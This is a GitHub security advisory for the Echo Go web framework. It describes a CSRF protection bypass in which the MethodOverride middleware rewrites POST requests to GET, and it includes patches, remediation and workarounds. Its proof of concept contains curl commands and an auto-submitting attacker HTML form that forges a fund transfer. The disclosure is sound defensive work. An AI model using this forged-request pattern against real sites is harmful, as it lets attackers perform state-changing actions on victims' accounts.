GHSA-R7W9-592Q-9VG4
Vulnerability from github – Published: 2026-10-28 19:53 – Updated: 2026-10-28 19:53Summary
The MethodOverride middleware accepts any non-empty string as the override target method — including safe methods (GET, HEAD, OPTIONS, TRACE) — when rewriting a POST request. When MethodOverride is registered before CSRF in the post-routing middleware chain (e.Use()), it rewrites the request method to a safe method before CSRF evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern Sec-Fetch-Site protection path are bypassed simultaneously.
Affected Component
middleware/method_override.go—MethodOverrideConfig.ToMiddleware()(lines 55–71): no whitelist on the override target methodmiddleware/csrf.go—CSRFConfig.ToMiddleware()(lines 188–189): safe-method bypass branch reads the already-rewritten methodmiddleware/csrf.go—checkSecFetchSiteRequest()(line 283):Sec-Fetch-Sitesafe check also reads the rewritten method
Description
MethodOverride accepts safe methods as override targets
MethodOverrideConfig.ToMiddleware() (method_override.go:55-71) restricts the source method (only POST requests are overrideable) but applies no whitelist to the target:
// method_override.go:61-67
req := c.Request()
if req.Method == http.MethodPost {
m := config.Getter(c)
if m != "" {
req.Method = m // ← any non-empty string accepted, including "GET"
}
}
The docstring's security claim — "For security reasons, only POST method can be overridden" — refers only to the source-method restriction. There is no guard preventing POST from being rewritten to GET, HEAD, OPTIONS, or TRACE. The test suite (method_override_test.go) only tests POST→DELETE and POST→PUT; POST→GET is never tested or blocked.
CSRF safe-method branch reads the already-rewritten method
CSRFConfig.ToMiddleware() (csrf.go:188-189) makes its validation decision based on c.Request().Method at the time it runs:
// csrf.go:188-189
switch c.Request().Method {
case http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:
// skip validation — no token check
default:
// validate CSRF token
If MethodOverride has already run and set req.Method = "GET", this switch falls into the skip branch regardless of the original HTTP method or what handler was matched.
The Sec-Fetch-Site-based path in checkSecFetchSiteRequest() (csrf.go:283) is identically vulnerable:
// csrf.go:283
isSafe := slices.Contains(safeMethods, c.Request().Method)
With req.Method = "GET" (already rewritten), isSafe = true and the function returns true — the request is allowed even when Sec-Fetch-Site is cross-site. Both CSRF protection paths are bypassed in a single step.
Execution chain
In echo.go:700, routing and middleware wrapping are performed in one step:
h = applyMiddleware(e.router.Route(c), e.middleware...)
e.router.Route(c)evaluates withreq.Method = "POST"→ matches and binds the POST/transferhandlerapplyMiddlewarewraps it:MethodOverride → CSRF → postHandler
At request execution time:
3. MethodOverride runs: req.Method == "POST" → reads form field _method = "GET" → req.Method = "GET" → calls next
4. CSRF runs: c.Request().Method = "GET" → case http.MethodGet → skips token validation → calls next
5. postHandler runs (the handler matched in step 1 — the original POST /transfer state-change handler)
The state-changing handler executes with no CSRF token validation and with no Sec-Fetch-Site check.
The missing target-method whitelist is the root cause
The legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET — that can always be expressed as an ordinary GET request. Allowing POST→GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.
Proof of Concept
package main
import (
"net/http"
echo "github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// MethodOverride before CSRF — both in e.Use() (post-routing)
e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{
Getter: middleware.MethodFromForm("_method"),
}))
e.Use(middleware.CSRF())
e.POST("/transfer", func(c *echo.Context) error {
return c.String(http.StatusOK, "transfer executed")
})
e.Logger.Fatal(e.Start(":18080"))
}
# Baseline — CSRF correctly blocks a POST without a valid token
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'amount=100'
# HTTP/1.1 400 Bad Request (missing CSRF token)
# Bypass — _method=GET rewrites method before CSRF runs, skipping token validation
curl -i -X POST 'http://127.0.0.1:18080/transfer' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data '_method=GET&amount=100'
# HTTP/1.1 200 OK
# transfer executed
# Browser-based CSRF PoC (attacker's page, auto-submits on load):
# <form method="POST" action="https://victim.example/transfer" id="f">
# <input name="_method" value="GET">
# <input name="amount" value="1000">
# <input name="to" value="attacker_account">
# </form>
# <script>document.getElementById('f').submit();</script>
The same bypass works with MethodFromHeader (X-HTTP-Method-Override: GET) and MethodFromQuery (?_method=GET).
Impact
- Any state-changing endpoint protected by
CSRF()is reachable without a valid CSRF token when the vulnerable middleware ordering is present - The
Sec-Fetch-Sitemodern-browser CSRF protection is bypassed simultaneously — browsers that supportSec-Fetch-Siteprovide no additional defense - Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation — any POST-protected operation
- Audit logs may record
GETas the HTTP method for what were actually state-changing operations
Recommended Remediation
Option 1: Whitelist only unsafe methods as override targets in MethodOverride (preferred)
The root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:
// method_override.go — illustrative fix
var allowedOverrideMethods = map[string]bool{
http.MethodPut: true,
http.MethodPatch: true,
http.MethodDelete: true,
}
// in ToMiddleware:
if req.Method == http.MethodPost {
m := config.Getter(c)
if m != "" && allowedOverrideMethods[m] {
req.Method = m
}
}
Option 2: Use e.Pre() for MethodOverride and document the ordering requirement
Placing MethodOverride in e.Pre() (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST /transfer is registered, a POST-to-GET override results in a 405/404 — the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in e.Use() when CSRF middleware is also registered:
// MethodOverride returns a MethodOverride middleware.
//
// IMPORTANT: Register this middleware with e.Pre(), not e.Use().
// If registered with e.Use() before CSRF middleware, method rewriting
// occurs after route matching but before CSRF validation, allowing
// attackers to bypass CSRF token checks by specifying _method=GET.
func MethodOverride() echo.MiddlewareFunc {
Option 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Patches
Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The MethodOverride middleware no longer overrides a POST to GET, HEAD, OPTIONS, TRACE or CONNECT.
Workarounds
Register MethodOverride with Echo#Pre (as documented), register CSRF before MethodOverride, or use the default header getter (X-HTTP-Method-Override), which a cross-site form cannot set.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/labstack/echo/v5"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/labstack/echo/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-118266"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T19:53:36Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `MethodOverride` middleware accepts any non-empty string as the override target method \u2014 including safe methods (GET, HEAD, OPTIONS, TRACE) \u2014 when rewriting a POST request. When `MethodOverride` is registered before `CSRF` in the post-routing middleware chain (`e.Use()`), it rewrites the request method to a safe method before `CSRF` evaluates it. The CSRF middleware then skips token validation for the now-safe method, allowing state-changing POST handlers to execute without any CSRF check. Both the legacy token path and the modern `Sec-Fetch-Site` protection path are bypassed simultaneously.\n\n## Affected Component\n\n- `middleware/method_override.go` \u2014 `MethodOverrideConfig.ToMiddleware()` (lines 55\u201371): no whitelist on the override target method\n- `middleware/csrf.go` \u2014 `CSRFConfig.ToMiddleware()` (lines 188\u2013189): safe-method bypass branch reads the already-rewritten method\n- `middleware/csrf.go` \u2014 `checkSecFetchSiteRequest()` (line 283): `Sec-Fetch-Site` safe check also reads the rewritten method\n\n## Description\n\n### MethodOverride accepts safe methods as override targets\n\n`MethodOverrideConfig.ToMiddleware()` (`method_override.go:55-71`) restricts the **source** method (only POST requests are overrideable) but applies no whitelist to the **target**:\n\n```go\n// method_override.go:61-67\nreq := c.Request()\nif req.Method == http.MethodPost {\n m := config.Getter(c)\n if m != \"\" {\n req.Method = m // \u2190 any non-empty string accepted, including \"GET\"\n }\n}\n```\n\nThe docstring\u0027s security claim \u2014 \"For security reasons, only POST method can be overridden\" \u2014 refers only to the source-method restriction. There is no guard preventing POST from being rewritten to `GET`, `HEAD`, `OPTIONS`, or `TRACE`. The test suite (`method_override_test.go`) only tests POST\u2192DELETE and POST\u2192PUT; POST\u2192GET is never tested or blocked.\n\n### CSRF safe-method branch reads the already-rewritten method\n\n`CSRFConfig.ToMiddleware()` (`csrf.go:188-189`) makes its validation decision based on `c.Request().Method` at the time it runs:\n\n```go\n// csrf.go:188-189\nswitch c.Request().Method {\ncase http.MethodGet, http.MethodHead, http.MethodOptions, http.MethodTrace:\n // skip validation \u2014 no token check\ndefault:\n // validate CSRF token\n```\n\nIf MethodOverride has already run and set `req.Method = \"GET\"`, this `switch` falls into the skip branch regardless of the original HTTP method or what handler was matched.\n\nThe `Sec-Fetch-Site`-based path in `checkSecFetchSiteRequest()` (`csrf.go:283`) is identically vulnerable:\n\n```go\n// csrf.go:283\nisSafe := slices.Contains(safeMethods, c.Request().Method)\n```\n\nWith `req.Method = \"GET\"` (already rewritten), `isSafe = true` and the function returns `true` \u2014 the request is allowed even when `Sec-Fetch-Site` is `cross-site`. **Both** CSRF protection paths are bypassed in a single step.\n\n### Execution chain\n\nIn `echo.go:700`, routing and middleware wrapping are performed in one step:\n\n```go\nh = applyMiddleware(e.router.Route(c), e.middleware...)\n```\n\n1. `e.router.Route(c)` evaluates with `req.Method = \"POST\"` \u2192 matches and binds the POST `/transfer` handler\n2. `applyMiddleware` wraps it: `MethodOverride \u2192 CSRF \u2192 postHandler`\n\nAt request execution time:\n3. **MethodOverride** runs: `req.Method == \"POST\"` \u2192 reads form field `_method` = `\"GET\"` \u2192 `req.Method = \"GET\"` \u2192 calls `next`\n4. **CSRF** runs: `c.Request().Method` = `\"GET\"` \u2192 `case http.MethodGet` \u2192 **skips token validation** \u2192 calls `next`\n5. **postHandler** runs (the handler matched in step 1 \u2014 the original POST `/transfer` state-change handler)\n\nThe state-changing handler executes with no CSRF token validation and with no `Sec-Fetch-Site` check.\n\n### The missing target-method whitelist is the root cause\n\nThe legitimate use case for MethodOverride is allowing HTML forms (which only support GET/POST) to send PUT, DELETE, or PATCH requests. There is no legitimate scenario in which an HTML form needs to rewrite POST to GET \u2014 that can always be expressed as an ordinary GET request. Allowing POST\u2192GET (and HEAD/OPTIONS/TRACE) serves no valid purpose and is inherently dangerous when any safe-method-aware security middleware (CSRF, logging, audit) appears downstream.\n\n## Proof of Concept\n\n```go\npackage main\n\nimport (\n \"net/http\"\n echo \"github.com/labstack/echo/v5\"\n \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n e := echo.New()\n // MethodOverride before CSRF \u2014 both in e.Use() (post-routing)\n e.Use(middleware.MethodOverrideWithConfig(middleware.MethodOverrideConfig{\n Getter: middleware.MethodFromForm(\"_method\"),\n }))\n e.Use(middleware.CSRF())\n e.POST(\"/transfer\", func(c *echo.Context) error {\n return c.String(http.StatusOK, \"transfer executed\")\n })\n e.Logger.Fatal(e.Start(\":18080\"))\n}\n```\n\n```bash\n# Baseline \u2014 CSRF correctly blocks a POST without a valid token\ncurl -i -X POST \u0027http://127.0.0.1:18080/transfer\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027amount=100\u0027\n# HTTP/1.1 400 Bad Request (missing CSRF token)\n\n# Bypass \u2014 _method=GET rewrites method before CSRF runs, skipping token validation\ncurl -i -X POST \u0027http://127.0.0.1:18080/transfer\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027_method=GET\u0026amount=100\u0027\n# HTTP/1.1 200 OK\n# transfer executed\n\n# Browser-based CSRF PoC (attacker\u0027s page, auto-submits on load):\n# \u003cform method=\"POST\" action=\"https://victim.example/transfer\" id=\"f\"\u003e\n# \u003cinput name=\"_method\" value=\"GET\"\u003e\n# \u003cinput name=\"amount\" value=\"1000\"\u003e\n# \u003cinput name=\"to\" value=\"attacker_account\"\u003e\n# \u003c/form\u003e\n# \u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n```\n\nThe same bypass works with `MethodFromHeader` (`X-HTTP-Method-Override: GET`) and `MethodFromQuery` (`?_method=GET`).\n\n## Impact\n\n- Any state-changing endpoint protected by `CSRF()` is reachable without a valid CSRF token when the vulnerable middleware ordering is present\n- The `Sec-Fetch-Site` modern-browser CSRF protection is bypassed simultaneously \u2014 browsers that support `Sec-Fetch-Site` provide no additional defense\n- Applicable attacks include: fund transfers, password/email changes, account deletion, privilege escalation, data manipulation \u2014 any POST-protected operation\n- Audit logs may record `GET` as the HTTP method for what were actually state-changing operations\n\n## Recommended Remediation\n\n### Option 1: Whitelist only unsafe methods as override targets in `MethodOverride` (preferred)\n\nThe root cause is that MethodOverride accepts safe methods as targets. Restricting the override to legitimately overrideable methods (PUT, PATCH, DELETE) closes the bypass regardless of middleware ordering:\n\n```go\n// method_override.go \u2014 illustrative fix\nvar allowedOverrideMethods = map[string]bool{\n http.MethodPut: true,\n http.MethodPatch: true,\n http.MethodDelete: true,\n}\n\n// in ToMiddleware:\nif req.Method == http.MethodPost {\n m := config.Getter(c)\n if m != \"\" \u0026\u0026 allowedOverrideMethods[m] {\n req.Method = m\n }\n}\n```\n\n### Option 2: Use `e.Pre()` for `MethodOverride` and document the ordering requirement\n\nPlacing MethodOverride in `e.Pre()` (pre-routing middleware) causes the router to match the overridden method, not the original POST. If only POST `/transfer` is registered, a POST-to-GET override results in a 405/404 \u2014 the handler never executes. Add an explicit documentation warning that MethodOverride must not be placed in `e.Use()` when CSRF middleware is also registered:\n\n```go\n// MethodOverride returns a MethodOverride middleware.\n//\n// IMPORTANT: Register this middleware with e.Pre(), not e.Use().\n// If registered with e.Use() before CSRF middleware, method rewriting\n// occurs after route matching but before CSRF validation, allowing\n// attackers to bypass CSRF token checks by specifying _method=GET.\nfunc MethodOverride() echo.MiddlewareFunc {\n```\n\nOption 1 is strongly preferred as it closes the vulnerability at the source and is safe regardless of middleware placement.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The MethodOverride middleware no longer overrides a POST to `GET`, `HEAD`, `OPTIONS`, `TRACE` or `CONNECT`.\n\n## Workarounds\n\nRegister MethodOverride with `Echo#Pre` (as documented), register CSRF before MethodOverride, or use the default header getter (`X-HTTP-Method-Override`), which a cross-site form cannot set.",
"id": "GHSA-r7w9-592q-9vg4",
"modified": "2026-10-28T19:53:36Z",
"published": "2026-10-28T19:53:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/labstack/echo/security/advisories/GHSA-r7w9-592q-9vg4"
},
{
"type": "WEB",
"url": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"
},
{
"type": "WEB",
"url": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"
},
{
"type": "PACKAGE",
"url": "https://github.com/labstack/echo"
},
{
"type": "WEB",
"url": "https://github.com/labstack/echo/releases/tag/v4.16.0"
},
{
"type": "WEB",
"url": "https://github.com/labstack/echo/releases/tag/v5.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.